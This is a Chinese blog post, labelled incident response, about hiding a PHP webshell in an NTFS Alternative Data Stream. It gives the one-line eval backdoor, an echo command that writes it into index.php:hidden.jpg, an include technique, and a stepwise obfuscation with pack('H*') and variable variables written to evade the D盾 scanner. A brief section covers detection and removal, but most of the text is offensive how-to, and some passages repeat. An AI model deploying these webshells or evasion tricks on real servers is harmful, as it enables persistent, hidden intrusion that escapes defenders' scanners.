应急响应--发现ADS隐藏shell

首先我们先了解下什么是ADS隐藏

说到ADS就肯定要了解什么是NTFS(文件系统不过多说明)。

NTFS交换数据流有一定的隐蔽性,这让一些恶意软件有了可趁之机,通过ADS将自己隐藏起来,从此就从“资源管理器”中消失了。

ADS数据流(定义):NTFS将文件/目录作为属性和属性值(属性的内容)集合来处理,一个文件可以有若干不同的属性,也可以同时拥有若干个相同的属性。数据流属性$DATA就可以有两未命名的数据流属性和命名的数据流属性。未命名数据流通常容纳用户存储的数据,它的大小就是文件的大小命名数据流一般都是操作系统为特定目的设置的,其大小和内容往往对用户是不可见的,这种命名数据流又称作NTFS交换数据流(ADSAlternative Data Streams)[2]

在真实环境中出现的样子

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

利用ADS隐藏webshell

关于ADS的介绍,就不再阐述,详见尾部参考资料。

PHP 一句话木马:<?php @eval($_POST['chopper']);?>,当然也可以直接制作免杀PHP一句话,毕竟PHP千变万化,从变量,数组,赋值,运算,函数等,各种变种。。。

制作步骤一:创建ADS隐藏文件

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

问题1:如何查看index.php:hidden.jpg内容呢?

进入文件所在目录,notepad index.php:hidden.jpg    或者 dir /r

问题2:如何删除index.php:hidden.jpg?

直接删除index.php即可

制作步骤二:文件包含

一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了。

但是却非常容易被webshell查杀工具查到,看到可疑引用的文件名,分分钟出局了。

 

894761-20170929145103544-419576423

 

制作步骤三:如何绕过检测

这边要解决的是include函数,如何让它检测不出来有可疑引用文件呢?

在某次应急响应事件中,获取到一段代码,这里拿来改造一下。代码如下:


<?php
@include(PACK('H*','xx'));
?>

 将index.php:hidden.jpg进行hex编码

 

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

再次用D盾_web查杀进行扫描,还是被查到了。

894761-20170929145240122-1300916122

进一步利用PHP 可变变量进行二次转换,最后得到绕过D盾扫描的姿势如下:


<?php 
$a="696E6465782E7068703"."A68696464656E2E6A7067";
$b="a";
include(PACK('H*',$$b))
?>

这条全集生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

当然还有其他的用法,比如我生成一个恶意的后门,不仅仅是PHPSHELL

我们也可以生成EXE/JSP/ASP等等。

针对ADS隐藏Shell的处理方法

1626767843_60f681e36e7df03f4f1c3.pngsmall

1626767901_60f6821d6c25bc6ab07bf.pngsmall

在实际的文件管理中是无法看到隐藏的文件的,包括dir 等命令都无法看到问题文件

当我们使用notepad index.php:hidden.jpg时却可以正常打开文件

1626767956_60f6825418c2d2a0ddee5.pngsmall

1.针对恶意文件,我们只要把index.php删除就可以解决

2.针对文件包含,我们可以利用扫描工具直接找到,也可以解决恶意文件

3.对文件属性进行审查,可以发现文件的不同(未进行特殊隐藏)

1626768461_60f6844d72ecfd6b8fdf0.pngsmall

ADS shell 可以怎么用

1.文件包含

一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了。

在进行变形绕过扫描器:

这边要解决的是include函数,如何让它检测不出来有可疑引用文件呢?

在某次应急响应事件中,获取到一段代码,这里拿来改造一下。代码如下:

总结

技术难度不高,现在依然可以利用,不算过时,发现难度较高,算是一个比较好玩的小知识点

THE END
分享
二维码
< <上一篇
下一篇>>